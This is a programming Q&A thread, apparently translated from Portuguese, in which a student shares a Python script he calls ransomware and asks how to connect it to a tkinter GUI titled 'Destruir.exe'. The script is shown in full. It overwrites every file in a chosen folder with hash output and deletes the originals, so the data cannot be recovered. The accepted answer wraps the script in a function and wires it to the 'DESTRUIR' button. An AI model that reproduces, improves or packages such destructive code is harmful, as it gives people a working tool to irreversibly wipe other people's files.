I want to "capture" the path and use it in another program

Asked

Viewed 61 times

1

I have a "ransomware" in which I put a path to a folder and it encrypts/destroys

I have a paper to present in college where I have to create a graphical interface, created a simple screen, with 2 buttons and a text Cx, the text Cx would be where the user would put the folder path and there, the 2 buttons, 1 would be to execute the code and the other to exit the program

Code of the Ransomware:

import hashlib
import os
import string
import sys

                    #Windows - teste
#c = 'C:\\Users\\teste\\Desktop\\teste' 

                    #teste import
c = '' #AQUI Q EU GOSTARIA DE IMPORTAR O CAMINHO QUE O USUÁRIO ESCREVER NA CX DE TEXTO 


for files in os.listdir(c):
    os.chdir(c)
    with open(files, 'rb') as r:
        data = r.read()
        encrypt = hashlib.sha512(data).hexdigest()
        encrypt = encrypt.encode('utf-8') #resolveu o erro
        new_file = '(perdido)' +os.path.basename(files)
        with open(new_file, 'wb') as n:
            n.write(encrypt*0x31)
            n.close()
            r.close()

            os.remove(files)

GUI code:

from tkinter import *

#corpo do programa
janela = Tk()
janela.title("Destruir.exe")
janela.geometry('300x200+0+0')
#--

#definições
    #definição da ação que o botão1 vai fazer ao ser pressionado
def botao_pressionado():
    import imp

def botao2_pressionado():
    exit()
#--

#botão
    #botão1 = ação
        #especificações do botão1, coordenadas, texto e ação
b1 = Button(janela, text="DESTRUIR", command = botao_pressionado)
b1.pack(anchor = W)
b1.place(x=110, y=80)

    #botão2 = sair
        #sai do programa
b2 = Button(janela, text="SAIR", command = botao2_pressionado)
b2.pack(anchor = W)
b2.place(x=130, y=110)
#--

#campo de escrita/entrada de informação
    #usuário fornece a informação
e1 = Entry(janela)
e1.pack(side=TOP)
e1.place(x=50, y=50)
#--

janela.mainloop()
  • @Noobsaibot basically did not know how to get q the user to type in the text field and play in the other code without giving error, pq when I leave the path empty, it from the error

1 answer

2


When you use graphical user interface, usually the script that runs the mainloop() becomes the "main", so it is he who should import the other script.

For this you must encapsulate the functionality of the script in a function or method, so that it is possible to call it at will when imported.

For example, in your file ransomware.py place the code inside a function called destruir_pasta who receives the c as a parameter:

ransomware.py:

import hashlib
import os
import string
import sys    

def destruir_pasta(c):    
    for files in os.listdir(c):
        # ... etc resto do código aqui ...

From there in the other file gui.py inside botao_pressionado, you can call this function:

gui.py

import ransomware

def botao_pressionado():
    pasta_digitada = e1.get() # pega o valor do Entry e1
    ransomware.destruir_pasta(pasta_digitada)

The function destruir_pasta was set to receive as parameter c the folder to destroy then just recover the value typed by the user from Entry and pass this value to the function.

NOTE: Remembering that your code as written destroys really the folder therefore there won’t be a way to recover the files after, even if the "victim" pays the Ransom. Hence the name destruir_pasta is appropriate.

  • Thank you very much, solved, did not know that I had to create a "def" inside the ransomware to be able to activate in the other file, vlw same, you just guaranteed me a 10 kkkkk

Browser other questions tagged

You are not signed in. Login or sign up in order to post.